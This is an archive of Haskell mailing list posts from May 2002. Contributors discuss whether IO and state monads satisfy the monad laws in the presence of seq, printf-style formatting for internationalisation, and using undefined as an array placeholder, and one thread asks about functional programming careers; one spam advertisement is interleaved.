(Ross Paterson) Date: Tue, 14 May 2002 13:42:34 +0100 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <9584A4A864BD8548932F2F88EB30D1C609319F6E@TVP-MSG-01.europe.corp.microsoft.com> References: <9584A4A864BD8548932F2F88EB30D1C609319F6E@TVP-MSG-01.europe.corp.microsoft.com> Message-ID: <20020514124233.GA12518@soi.city.ac.uk> On Tue, May 14, 2002 at 12:14:02PM +0100, Simon Marlow wrote: > The question we were considering was whether the following should hold > in the IO monad: > > (return () >>= \_ -> undefined) `seq` 42 == undefined > > [as implied by the left-identity monad law] > > This discrepancy applies to any state monad. It also fails for the reader, writer and continuation monads, also thanks to lifted functions and tuples. The right-identity law also fails for these monads: (undefined >>= return) `seq` 42 /= undefined `seq` 42 From planetmoto1@aol.com Tue May 14 09:32:32 2002 From: planetmoto1@aol.com (PlanetMoto.com) Date: Tue, 14 May 2002 08:32:32 Subject: Apparel & Helmet Links - Super sales & Savings Message-ID: PM20008:32:32 AM This is an HTML email message. If you see this, your mail client does not support HTML messages. ------=_NextPart_ESUURGZAVM Content-Type: text/html;charset="iso-8859-1" Content-Transfer-Encoding: 7bit MILLIONS of dollars in brand name high quality motorcycle accessories featured on this month’s sites. Some products are being liquidated at unbelievable blowout prices! Most products are being sold for significant discounts off of retail pricing. In some cases prices have been slashed up to 70% off!

TO CHECK OUT THESE UNBELIEVABLE DEALS AT PLANETMOTO.COM CLICK HERE NOW!

Just some of the many products available:

Street Helmets
MX Helmets
Gloves
Boots
Leather suits
Leather jackets
Textile jackets

TO CHECK OUT THESE UNBELIEVABLE DEALS AT PLANETMOTO.COM CLICK HERE NOW!



____________________________________________________________________
If you would like to be removed from this mailing list, please email planetmoto2@aol.com with the word "remove" in the subject line. ------=_NextPart_ESUURGZAVM-- From anatoli@yahoo.com Tue May 14 15:30:33 2002 From: anatoli@yahoo.com (anatoli) Date: Tue, 14 May 2002 07:30:33 -0700 (PDT) Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: <1021368880.22547.30.camel@caesar.safelogic.se> Message-ID: <20020514143033.67609.qmail@web14206.mail.yahoo.com> Martin Norbäck wrote: > I agree that i18n needs positional arguments. > What's wrong with simply doing like this: > > printf "I have %. %. %.." ["trained", show 1, "Jedi"] > printf "%2. %3. %1. I have." ["trained", show 1, "Jedi"] Nothing is exceptionally wrong with it, except it's not as flexible. Since everything is show'n, how would you handle things like "%5.2f" or "%*d"? In Brian Huffman's version it's almost trivial to add. I know I can use formatDouble and whatnot, but the code looks cluttered this way. "C" printf has many pitfalls, but I like its terseness. -- anatoli __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From Robert.Ennals@cl.cam.ac.uk Tue May 14 15:45:36 2002 From: Robert.Ennals@cl.cam.ac.uk (Robert Ennals) Date: Tue, 14 May 2002 15:45:36 +0100 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: Your message of Tue, 14 May 2002 07:30:33 -0700. <20020514143033.67609.qmail@web14206.mail.yahoo.com> Message-ID: > Martin Norb=E4ck wrote: > > I agree that i18n needs positional arguments. > > What's wrong with simply doing like this: > > = > > printf "I have %. %. %.." ["trained", show 1, "Jedi"] > > printf "%2. %3. %1. I have." ["trained", show 1, "Jedi"] > = > Nothing is exceptionally wrong with it, except it's not > as flexible. Since everything is show'n, how would you > handle things like "%5.2f" or "%*d"? In Brian Huffman's > version it's almost trivial to add. I know I can use = > formatDouble and whatnot, but the code looks cluttered > this way. "C" printf has many pitfalls, but I like its > terseness. Just thought I would jump in and say that, unlike (it seems) everyone els= e, I = hate printf in C. It is a horrible horrible inextensible hack of a functi= on = that I find extremely awkward to use. In the C version, it is completely hardcoded and inextensible. Even in th= e = version presented on this list, one can't add new ways to format an exist= ing = datatype. I personally much prefer the syntax currently used in Haskell, which is a= lso = essentially what is used in most other recent languages, including Java, = C++, = and (god help me) Perl. In the example given, I could write: "I have " ++ action ++ " " ++ number ++ " " ++ whatas where action =3D "trained" number =3D show 1 whatas =3D "Jedi" Which is IMHO rather more readable than a load of weird control codes hid= den = in a text string that one then has to match against a list. + If I want to use a weird formatting approach, I just write my own funct= ion, = and use it instead of "show". No need to faff around extending someone el= se's = printf. [end rant] -Rob From ger@tzi.de Tue May 14 15:57:12 2002 From: ger@tzi.de (George Russell) Date: Tue, 14 May 2002 16:57:12 +0200 Subject: State monads don't respect the monad laws in Haskell Message-ID: <3CE125C8.E2F283AC@tzi.de> Simon Marlow wrote [snip] > So the IO monad in Haskell, at least as we understand it, doesn't > satisfy the monad laws (or, depending on your point of view, seq breaks > the monad laws). [snip] Cheers Simon. One of the awkward things about the Haskell events I implemented is that although I make them an instance of Monad, they don't actually satisfy left identity. Now I can say that "Yes, Event isn't really a Monad, but neither is IO". According to the report > Instances of Monad should satisfy the following laws: > > return a >>= k = k a > m >>= return = m > m >>= (\x -> k x >>= h) = (m >>= k) >>= h so neither IO nor my events satisfy this. Up to now I haven't had any problems with this. Does GHC or any other Haskell compiler actually rely on instances of Monad satisfying left identity? If not, I would suggest dropping the requirement, if it can be done without upsetting category theorists. (What the hell, they stole the term "Monad" from philosophy and changed its meaning, so why shouldn't we?) I presume it would not in fact be difficult to synthesise a left identity at the cost of making things slower, thus (forgive any syntax errors, I'm not going to test this). data MonadIO a = Action (IO a) | Return a instance Monad (MonadIO a) where return a = Return a (>>=) (Return a) k = k a (>>=) (Action act) f = Action (act >>= (\ a -> case f a of {Return a -> return a;Action act -> act})) (I considered doing something similar to turn Events into a real monad, but decided to choose efficiency over category theory. For events its slightly more complicated as you need to handle the choice operator as well.) From d95mback@dtek.chalmers.se Tue May 14 16:04:50 2002 From: d95mback@dtek.chalmers.se (Martin =?ISO-8859-1?Q?Norb=E4ck?=) Date: 14 May 2002 17:04:50 +0200 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: References: Message-ID: <1021388690.31001.16.camel@caesar.safelogic.se> --=-31X1eyrrGTqACpvbiAt/ Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable tis 2002-05-14 klockan 16.45 skrev Robert Ennals: > > Martin Norb=E4ck wrote: > > > I agree that i18n needs positional arguments. > > > What's wrong with simply doing like this: > > >=20 > > > printf "I have %. %. %.." ["trained", show 1, "Jedi"] > > > printf "%2. %3. %1. I have." ["trained", show 1, "Jedi"] > >=20 > > Nothing is exceptionally wrong with it, except it's not > > as flexible. Since everything is show'n, how would you > > handle things like "%5.2f" or "%*d"? In Brian Huffman's > > version it's almost trivial to add. I know I can use=20 > > formatDouble and whatnot, but the code looks cluttered > > this way. "C" printf has many pitfalls, but I like its > > terseness. Changing format specifiers normally doesn't happen during translation. Word order changes happen. > I personally much prefer the syntax currently used in Haskell, which is a= lso=20 > essentially what is used in most other recent languages, including Java, = C++,=20 > and (god help me) Perl. >=20 > In the example given, I could write: >=20 > "I have " ++ action ++ " " ++ number ++ " " ++ whatas > where > action =3D "trained" > number =3D show 1 > whatas =3D "Jedi" How do you internationalize this code snippet? The issue here was with i18n. When doing i18n, you need to give the translator the possibility to change the word order, hence the Yoda example. > Which is IMHO rather more readable than a load of weird control codes hid= den=20 > in a text string that one then has to match against a list. The point with hiding them in a control string is that you can have the translator translate the control string, and not have to change the source code, like with gettext. Very nice system. Regards, Martin --=20 Martin Norb=E4ck d95mback@dtek.chalmers.se =20 Kapplandsgatan 40 +46 (0)708 26 33 60 =20 S-414 78 G=D6TEBORG http://www.dtek.chalmers.se/~d95mback/ SWEDEN OpenPGP ID: 3FA8580B --=-31X1eyrrGTqACpvbiAt/ Content-Type: application/pgp-signature; name=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: För information se http://www.gnupg.org/ iD8DBQA84SeSkXyAGj+oWAsRAkehAJ96hVcThlpXE7TfAtze070xZsD2DwCfbS9Q xPP8ix7Q3dkh+OWNxy3MR3U= =h5lS -----END PGP SIGNATURE----- --=-31X1eyrrGTqACpvbiAt/-- From dpt@math.harvard.edu Tue May 14 16:12:43 2002 From: dpt@math.harvard.edu (Dylan Thurston) Date: Tue, 14 May 2002 11:12:43 -0400 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: References: <20020514143033.67609.qmail@web14206.mail.yahoo.com> Message-ID: <20020514151243.GA1185@math.harvard.edu> --jRHKVT23PllUwdXP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 14, 2002 at 03:45:36PM +0100, Robert Ennals wrote: > Just thought I would jump in and say that, unlike (it seems) > everyone else, I hate printf in C. It is a horrible horrible > inextensible hack of a function that I find extremely awkward to > use. > ... > I personally much prefer the syntax currently used in Haskell, which > is also essentially what is used in most other recent languages, > including Java, C++, and (god help me) Perl. > =20 > In the example given, I could write: >=20 > "I have " ++ action ++ " " ++ number ++ " " ++ whatas > where > action =3D "trained" > number =3D show 1 > whatas =3D "Jedi" >=20 > Which is IMHO rather more readable than a load of weird control codes hid= den=20 > in a text string that one then has to match against a list. How would you deal with internationalisation issues? --Dylan --jRHKVT23PllUwdXP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84SlqVeybfhaa3tcRAoasAKCDANZX05dRr5REpbKZkQ9Xi3FJuQCfc8rA NoXVRkG/W/LwJ7JjrVHNPZc= =r/Nx -----END PGP SIGNATURE----- --jRHKVT23PllUwdXP-- From dpt@math.harvard.edu Tue May 14 16:19:44 2002 From: dpt@math.harvard.edu (Dylan Thurston) Date: Tue, 14 May 2002 11:19:44 -0400 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <3CE125C8.E2F283AC@tzi.de> References: <3CE125C8.E2F283AC@tzi.de> Message-ID: <20020514151944.GB1185@math.harvard.edu> --4SFOXa2GPu3tIq4H Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 14, 2002 at 04:57:12PM +0200, George Russell wrote: > According to the report > > Instances of Monad should satisfy the following laws: > > > > return a >>=3D k =3D k > > m >>=3D return =3D m > > m >>=3D (\x -> k x >>=3D h) =3D (m >>=3D k) >>=3D h > so neither IO nor my events satisfy this. Up to now I haven't had > any problems with this. =20 > Does GHC or any other Haskell compiler actually rely on instances of > Monad satisfying left identity? If not, I would suggest dropping > the requirement, if it can be done without upsetting category > theorists. (What the hell, they stole the term "Monad" from > philosophy and changed its meaning, so why shouldn't we?) I don't think this is necessarily wise to drop this from the report altogether. To me, it seems comparable to associativity of addition for instances of Num; many instances don't satisfy it (e.g., Float), but it's a useful guideline to keep in mind. I've often been bothered by the inconsistent treatment of laws in the report; why are there laws for functors, monads, and quot/rem and div/mod, and not much else? I'm pleased to see that the laws that are given actually do have exceptions. --Dylan --4SFOXa2GPu3tIq4H Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84SsPVeybfhaa3tcRAkTyAJ9bFUrokrQb+ruXpk2R4cTkNRUCPQCfUIps PYVOWqEoC5DUqTWJs73xj/Y= =Zc7/ -----END PGP SIGNATURE----- --4SFOXa2GPu3tIq4H-- From anatoli@yahoo.com Tue May 14 16:19:31 2002 From: anatoli@yahoo.com (anatoli) Date: Tue, 14 May 2002 08:19:31 -0700 (PDT) Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: Message-ID: <20020514151931.78470.qmail@web14206.mail.yahoo.com> Robert Ennals wrote: > I personally much prefer the syntax currently used in Haskell, which is also > essentially what is used in most other recent languages, including Java, C++, > and (god help me) Perl. > > In the example given, I could write: > > "I have " ++ action ++ " " ++ number ++ " " ++ whatas > where > action = "trained" > number = show 1 > whatas = "Jedi" This is all fine and dandy, but how would you translate this to 42 different languages your customers want supported, with different word order and all that? -- anatoli t. __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From ger@tzi.de Tue May 14 16:32:56 2002 From: ger@tzi.de (George Russell) Date: Tue, 14 May 2002 17:32:56 +0200 Subject: State monads don't respect the monad laws in Haskell References: <3CE125C8.E2F283AC@tzi.de> <20020514151944.GB1185@math.harvard.edu> Message-ID: <3CE12E28.723D8A08@tzi.de> Dylan Thurston wrote: [snip] > I've often been bothered by the inconsistent treatment of laws in the > report; why are there laws for functors, monads, and quot/rem and > div/mod, and not much else? I'm pleased to see that the laws that are > given actually do have exceptions. [snip] Even the quot/rem and div/mod laws are not always true, for example if you divide by zero, or (for div/mod, where overflows cause an error) where you get an overflow with (x `div` y) * y. Perhaps we need something in the report to state that these laws like these and the Monad laws are only intended as aspirations rather than promises. From Robert.Ennals@cl.cam.ac.uk Tue May 14 16:48:07 2002 From: Robert.Ennals@cl.cam.ac.uk (Robert Ennals) Date: Tue, 14 May 2002 16:48:07 +0100 Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: Your message of Tue, 14 May 2002 08:19:31 -0700. <20020514151931.78470.qmail@web14206.mail.yahoo.com> Message-ID: > Robert Ennals wrote: > > I personally much prefer the syntax currently used in Haskell, which is also > > essentially what is used in most other recent languages, including Java, C++, > > and (god help me) Perl. > > > > In the example given, I could write: > > > > "I have " ++ action ++ " " ++ number ++ " " ++ whatas > > where > > action = "trained" > > number = show 1 > > whatas = "Jedi" > > This is all fine and dandy, but how would you translate this to > 42 different languages your customers want supported, with > different word order and all that? Surely that problem only arises if one insists on encoding all the relevant information inside a string. An alternative would be to encode all user-visible messages in an external module, with a Haskell function for each message. The translator would then redefine this module for each language. It doesn't involve any more complexity - it just shifts the complexity into a more expressive language. For example: module Messages -- English language version where stuffDone :: String -> Int -> String -> String stuffDone action number whatas = "I have " ++ action ++ " " ++ (show number) ++ " " ++ whatas jedi = "Jedi" trained = "Trained" Normal code then does the following: import qualified Messages as M putStrLn $ M.stuffDone M.trained 1 M.jedi Much nicer IMHO. -Rob From S.M.Kahrs@ukc.ac.uk Tue May 14 16:48:31 2002 From: S.M.Kahrs@ukc.ac.uk (S.M.Kahrs) Date: Tue, 14 May 2002 16:48:31 +0100 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: Message from George Russell of "Tue, 14 May 2002 16:57:12 +0200." <3CE125C8.E2F283AC@tzi.de> Message-ID: George Russel wrote: [snip] > I presume it would not in fact be difficult to synthesise a left identi= ty at > the cost of making things slower, thus (forgive any syntax errors, I'm = not going to > test this). > = > data MonadIO a =3D Action (IO a) | Return a > instance Monad (MonadIO a) where > return a =3D Return a > (>>=3D) (Return a) k =3D k a > (>>=3D) (Action act) f =3D = > Action (act >>=3D (\ a -> case f a of {Return a -> return a;Actio= n act -> act})) Or, more general: data MonadWrap m a =3D M (m a) | R a instance Monad m =3D> Monad (MonadWrap m) where return =3D R R x >>=3D f =3D f x M x >>=3D f =3D M (x >>=3D \a->case f a of R b -> return b M c -> c) I don't think this really solves the problem with the left unit (not in general, and not for IO either), it merely pushes it to a different place. I think you need the left-unit law for monad m to prove the 'associativity' law for monad (MonadWrap m) The 'associativity' law: m >>=3D (\x -> k x >>=3D h) =3D (m >>=3D k) >>=3D h The case in which the situation occurs is m=3D(M x) with (k x)=3D(R b). Stefan Kahrs From jmaessen@alum.mit.edu Tue May 14 17:32:30 2002 From: jmaessen@alum.mit.edu (Jan-Willem Maessen) Date: Tue, 14 May 2002 12:32:30 -0400 Subject: State monads don't respect the monad laws in Haskell Message-ID: <200205141632.MAA00708@lauzeta.mit.edu> Dylan Thurston writes: > I don't think this is necessarily wise to drop this from the report > altogether. To me, it seems comparable to associativity of addition > for instances of Num; many instances don't satisfy it (e.g., Float), > but it's a useful guideline to keep in mind. > > I've often been bothered by the inconsistent treatment of laws in the > report; why are there laws for functors, monads, and quot/rem and > div/mod, and not much else? I'm pleased to see that the laws that are > given actually do have exceptions. Chalk me up as someone in favor of laws without exceptions. Allow me for a moment to make a reductio argument: We should just make Haskell into a strict language. Our equational laws still hold 95% of the time---after all, we don't really write non-terminating computations that often, and that's where the laws break down. And gosh darn, we sure get an efficient implementation. Of course, this argument doesn't really work out for the Haskell constructs we know and love (monadic computations spring to mind given the present conversation, along with certain uses of parsing combinators, but I bet you can think of your own examples). Having spent several years working with versions of Haskell with weakened equational semantics, I have become a bit of a reactionary on this point. Sort-of equational semantics just aren't powerful enough for many applications---we spend our time mired in the corner cases (such as non-termination), which is exactly what we were trying to avoid by using Haskell in the first place. I can't stress that enough. Freedom from crazy corner cases is Haskell's big selling point. None of this "except for infinite computations" stuff. None of this "as long as f has no side effects". If I have to worry about corner cases, I'm probably better off adding type classes and beautiful syntax to OCaml. That said, "seq" is a big wart on Haskell to begin with. I might be willing to allow "nice" rules like the monad laws to apply *as long as the results are not passed (directly or indirectly) to seq*. But I'm not willing to go from "the IO monad disobeys the laws in the presence of seq, and that might be OK" to "my monad disobeys the laws in code that never uses seq, and that's OK because even IO breaks the monad laws". And I'd really much rather we cleaned up the semantics of seq---or better yet, fixed the problems with lazy evaluation which make seq necessary in the first place. [Let me be clear: I believe hybrid eager/lazy evaluation, the subject of my dissertation, does eliminate the need for seq in most cases---so I'm a bit biased here.] -Jan-Willem Maessen From anatoli@yahoo.com Tue May 14 17:56:03 2002 From: anatoli@yahoo.com (anatoli) Date: Tue, 14 May 2002 09:56:03 -0700 (PDT) Subject: preprocessing printf/regex strings (like ocaml) In-Reply-To: Message-ID: <20020514165603.23663.qmail@web14202.mail.yahoo.com> Robert Ennals wrote: > Surely that problem only arises if one insists on encoding all the relevant > information inside a string. This is pretty much the only option, because translators and programmers are different people. Translators can deal with simple text files with one message string per line and not much else. You can't hire a translation firm and tell them "translate this Haskell module for me". You can treat message strings as declarations in a specialised language. This language can be typed, and you could theoretically typecheck it against your Haskell program using specialised tools. But translators need to see simple readable message strings. -- anatoli t. __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From ger@tzi.de Tue May 14 18:10:16 2002 From: ger@tzi.de (George Russell) Date: Tue, 14 May 2002 19:10:16 +0200 Subject: State monads don't respect the monad laws in Haskell References: Message-ID: <3CE144F8.B9D91474@tzi.de> "S.M.Kahrs" wrote: [snip] > I don't think this really solves the problem with the left unit > (not in general, and not for IO either), > it merely pushes it to a different place. [snip] Not being a category theorist I find this all a bit confusing. Can you give an example where with GHC and the fix I suggested you can show that the associative law has been broken? From hdaume@ISI.EDU Tue May 14 19:39:57 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Tue, 14 May 2002 11:39:57 -0700 (PDT) Subject: using error x as a placeholder Message-ID: I've seen 'error "foo"' or simply 'undefined' used as a placeholder for elements in a structure which we, as programmers, know will be filled in soon. Often this makes the code clearer because the creation of the data structure and filling in its values is separated (you could argue with this, but that's not the point). This troubles me, though, because even though *we* know the elements will be filled in, maybe the strictness analyser doesn't. So, to test this, I wrote the following program: module Main where import Array sumArray :: Array Int Integer -> Integer sumArray arr = sumArray' 0 low where (low,high) = bounds arr sumArray' acc pos | pos > high = acc | otherwise = sumArray' (acc + (arr!pos)) (pos+1) mkArray1 :: Array Int Integer mkArray1 = fillInArr 1 (listArray (1,9999) (repeat undefined)) where fillInArr 5000 arr = arr // [(5000,arr!4999 + arr!5001)] fillInArr 1 arr = fillInArr 2 (arr // [(1,1),(9999,2)]) fillInArr n arr = fillInArr (n+1) (arr // [(n,(arr!(n-1))+(arr!(10001-n))),(10000-n,(arr!(n-1))+(arr!(10001-n))+1)]) mkArray2 :: Array Int Integer mkArray2 = fillInArr 1 (listArray (1,9999) (repeat 0)) where fillInArr 5000 arr = arr // [(5000,arr!4999 + arr!5001)] fillInArr 1 arr = fillInArr 2 (arr // [(1,1),(9999,2)]) fillInArr n arr = fillInArr (n+1) (arr // [(n,(arr!(n-1))+(arr!(10001-n))),(10000-n,(arr!(n-1))+(arr!(10001-n))+1)]) main = print $ (sumArray mkArray1) `mod` 1024 And compiled it using both mkArray1 (which has undefined elements, supposedly) and mkArray2, which doesn't. (I tried to come up with a function with which to fill in the array that was nontrivial, in the sence that it would be difficult to code using accumulators without the explicit recursive 'fillInArr' function.) The timing results were: mkArray1: 11.42u 0.79s 0:13.47 90.6% mkArray2: 24.55u 2.31s 0:30.12 89.1% Which is actually *slower*. Any ideas why? (These were compiled with ghc 5.02.3 -O2 -fvia-c -fall-strict) - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume From S.M.Kahrs@ukc.ac.uk Tue May 14 20:15:02 2002 From: S.M.Kahrs@ukc.ac.uk (S.M.Kahrs) Date: Tue, 14 May 2002 20:15:02 +0100 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: Message from George Russell of "Tue, 14 May 2002 19:10:16 +0200." <3CE144F8.B9D91474@tzi.de> Message-ID: > "S.M.Kahrs" wrote: > [snip] > > I don't think this really solves the problem with the left unit > > (not in general, and not for IO either), > > it merely pushes it to a different place. > [snip] > Not being a category theorist I find this all a bit confusing. Nothing to do with category theory. I took the law you cited and checked it out. > Can you > give an example where with GHC and the fix I suggested you can show tha= t > the associative law has been broken? I didn't try to find a counter example. I tried to prove the result and got stuck: This is the law I was stuck with: m >>=3D (\x -> k x >>=3D h) =3D=3D=3D (m >>=3D k) >>=3D h = There were two cases to consider, m=3DR a, and m=3DM a - the former works= out nicely, but with the latter you get: m >>=3D (\x -> k x >>=3D h) =3D M a >>=3D (\x -> k x >>=3D h) =3D M (a >>=3D \a'->case (\x -> k x >>=3D h) a' of R b -> return b M c -> c) =3D M (a >>=3D \a'->case (k a' >>=3D h) of R b -> return b M c -> c) and on the other side: (m >>=3D k) >>=3D h = =3D (M a >>=3D k) >>=3D h =3D M (a >>=3D \a'->case k a' of R b -> return b M c -> c) >>=3D h =3D M ((a >>=3D \a'->case k a' of R b -> return b M c -> c) >>=3D \a''->case h a'' of R b -> return b M c -> c) Assuming that the associativity law holds for the original monad (the one we try to fix for its dodgy left unit) then this can be changed = to: M (a >>=3D \a' -> (\a'->case k a' of R b -> return b M c -> c) a' >>=3D \a''->case h a'' of R b -> return b M c -> c) =3D M ((a >>=3D \a' -> case k a' of R b -> return b M c -> c) >>=3D \a''->case h a'' of R b -> return b M c -> c) Using associativity again: =3D M (a >>=3D \x->(\a' -> case k a' of R b -> return b M c -> c)x>>=3D(\a''->case h a'' of R b -> return b M c -> c)) =3D M (a >>=3D \a' -> (case k a' of R b -> return b M c -> c) >>=3D \a''->case h a'' of R b -> return b M c -> c) Assuming further that >>=3D is left-strict we can change that to: =3D M (a >>=3D \a' -> (case k a' of R b -> return b >>=3D \a''->... M c -> c >>=3D \a''->...)) where the ... is twice the old case h a'' expression. Now, this is the expression why I claimed the left-unit property of the underlying monad would still show: if (return b>>=3Df) is the same as f b (in the monad we try to fix) then the first part of this case expression simplifies to exactly the same thing as we had derived from th= e other side of the equation. But if it does not hold, we should be able to construct a counter example= using the left-unit counter example from the underlying monad together with, say, k=3DR. This all under the assumptions that the original monad= m satisfied the assoc law and that its >>=3D is left-strict. Stefan Kahrs From ken@digitas.harvard.edu Tue May 14 21:23:52 2002 From: ken@digitas.harvard.edu (Ken Shan) Date: Tue, 14 May 2002 13:23:52 -0700 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <200205141632.MAA00708@lauzeta.mit.edu> References: <200205141632.MAA00708@lauzeta.mit.edu> Message-ID: <20020514202352.GA16279@ccshan.stanford.edu> --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 2002-05-14T12:32:30-0400, Jan-Willem Maessen wrote: > And I'd really much rather we cleaned up the semantics of > seq---or better yet, fixed the problems with lazy evaluation which > make seq necessary in the first place. A general question: What is seq useful for, other than efficiency? --=20 Edit this signature at http://www.digitas.harvard.edu/cgi-bin/ken/sig QUIET! Do you smell something? --rwEMma7ioTxnRzrJ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84XJYzjAc4f+uuBURAm4gAKD8NUMIuPBe+KLXlz+qaWmBSnooaACdEgkp 0nPCozuA2jWRolSUzZVdjMs= =6Cue -----END PGP SIGNATURE----- --rwEMma7ioTxnRzrJ-- From hdaume@ISI.EDU Tue May 14 21:27:25 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Tue, 14 May 2002 13:27:25 -0700 (PDT) Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <20020514202352.GA16279@ccshan.stanford.edu> Message-ID: It's useful for: debug :: Show a => a -> a debug x = unsafePerformIO (hPutStrLn stderr (show x)) `seq` x (Presumably "trace" is defined similarly) One may ask the question: what is seq useful for not in conjunction with unsafePerformIO, other than efficiency. That, I don't know the answer to. - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume On Tue, 14 May 2002, Ken Shan wrote: > On 2002-05-14T12:32:30-0400, Jan-Willem Maessen wrote: > > And I'd really much rather we cleaned up the semantics of > > seq---or better yet, fixed the problems with lazy evaluation which > > make seq necessary in the first place. > > A general question: What is seq useful for, other than efficiency? > > -- > Edit this signature at http://www.digitas.harvard.edu/cgi-bin/ken/sig > QUIET! Do you smell something? > From jadrian@mat.uc.pt Tue May 14 21:48:04 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Tue, 14 May 2002 21:48:04 +0100 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: References: Message-ID: <200205142148.05014.jadrian@mat.uc.pt> > One may ask the question: what is seq useful for not in conjunction wit= h > unsafePerformIO, other than efficiency. That, I don't know the answer = to. Here is an example. > main::IO() > main=3Ddo > time1 <- getCPUTime > w <- return $! calcSomething > time2 <- getCPUTime =2E.. J.A. From jeffrey.palmer@acm.org Tue May 14 22:47:13 2002 From: jeffrey.palmer@acm.org (Jeffrey Palmer) Date: Tue, 14 May 2002 16:47:13 -0500 Subject: How to get functional software engineering experience? Message-ID: <200205141647.13761.jeffrey.palmer@acm.org> Hello all, I've got a not-quite-so-technically-detailed question for everyone. For the past ten or so years, I've been building relatively large "real-w= orld"=20 software systems, and I've always been interested in finding new and=20 innovative ways to reduce complexity and improve system maintainability. = I=20 was recently seduced by functional programming, and I'm now VERY interest= ed=20 in applying a functional software engineering approach to a real project. However, it appears that the only place (short of Ericsson) I can actuall= y=20 work on a complex functional system is in academia. Unfortunately, this i= s=20 not an option, as I have no Ph.D., and going back to school is probably n= ot=20 realistic. Are there any options for people like me, or does my functional experienc= e=20 remain limited to the hobby* work I can squeeze in at night and on weeken= ds? Thoughts? =09- j * I'm building a realistic image synthesis package in Haskell, if anyone'= s=20 interested. ;) --=20 The river is moving.=20 The blackbird must be flying. From diatchki@cse.ogi.edu Tue May 14 23:20:04 2002 From: diatchki@cse.ogi.edu (Iavor S. Diatchki) Date: Tue, 14 May 2002 15:20:04 -0700 Subject: State monads don't respect the monad laws in Haskell References: <200205142148.05014.jadrian@mat.uc.pt> Message-ID: <3CE18D94.1060905@cse.ogi.edu> hello, this is misleading. seq only evaluates to whnf, i.e. the outermost lazy constructor (or lambda) and that only if the "seq ..." expression is actually evaluated, which is often tricky to ensure. furthermore, for non-functions one can get the same behaviour, by using a case with a pattern. here is why i think the example does not illustrate what is seq good for: >>main::IO() >>main=do >> time1 <- getCPUTime >> w <- return $! map undefined [1..] >> time2 <- getCPUTime > .... the above computation does not take very long. bye iavor Jorge Adriano wrote: >>One may ask the question: what is seq useful for not in conjunction with >>unsafePerformIO, other than efficiency. That, I don't know the answer to. > > > Here is an example. > > >>main::IO() >>main=do >> time1 <- getCPUTime >> w <- return $! calcSomething >> time2 <- getCPUTime > > ... > > J.A. > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > -- ================================================== | Iavor S. Diatchki, Ph.D. student | | Department of Computer Science and Engineering | | School of OGI at OHSU | | http://www.cse.ogi.edu/~diatchki | ================================================== From hdaume@ISI.EDU Tue May 14 23:23:09 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Tue, 14 May 2002 15:23:09 -0700 (PDT) Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <3CE18D94.1060905@cse.ogi.edu> Message-ID: True, but using seq you can define deepSeq/rnf (depening on which camp you're from), which isn't misleading in this way. -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume On Tue, 14 May 2002, Iavor S. Diatchki wrote: > hello, > > this is misleading. seq only evaluates to whnf, i.e. > the outermost lazy constructor (or lambda) and that only if the > "seq ..." expression is actually evaluated, which is often tricky to > ensure. furthermore, for non-functions one can get the same behaviour, > by using a case with a pattern. > > here is why i think the example does not illustrate what is seq good for: > > >>main::IO() > >>main=do > >> time1 <- getCPUTime > >> w <- return $! map undefined [1..] > >> time2 <- getCPUTime > > .... > > the above computation does not take very long. > > bye > iavor > > > Jorge Adriano wrote: > >>One may ask the question: what is seq useful for not in conjunction with > >>unsafePerformIO, other than efficiency. That, I don't know the answer to. > > > > > > Here is an example. > > > > > >>main::IO() > >>main=do > >> time1 <- getCPUTime > >> w <- return $! calcSomething > >> time2 <- getCPUTime > > > > ... > > > > J.A. > > > > _______________________________________________ > > Haskell mailing list > > Haskell@haskell.org > > http://www.haskell.org/mailman/listinfo/haskell > > > > > > -- > ================================================== > | Iavor S. Diatchki, Ph.D. student | > | Department of Computer Science and Engineering | > | School of OGI at OHSU | > | http://www.cse.ogi.edu/~diatchki | > ================================================== > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > From 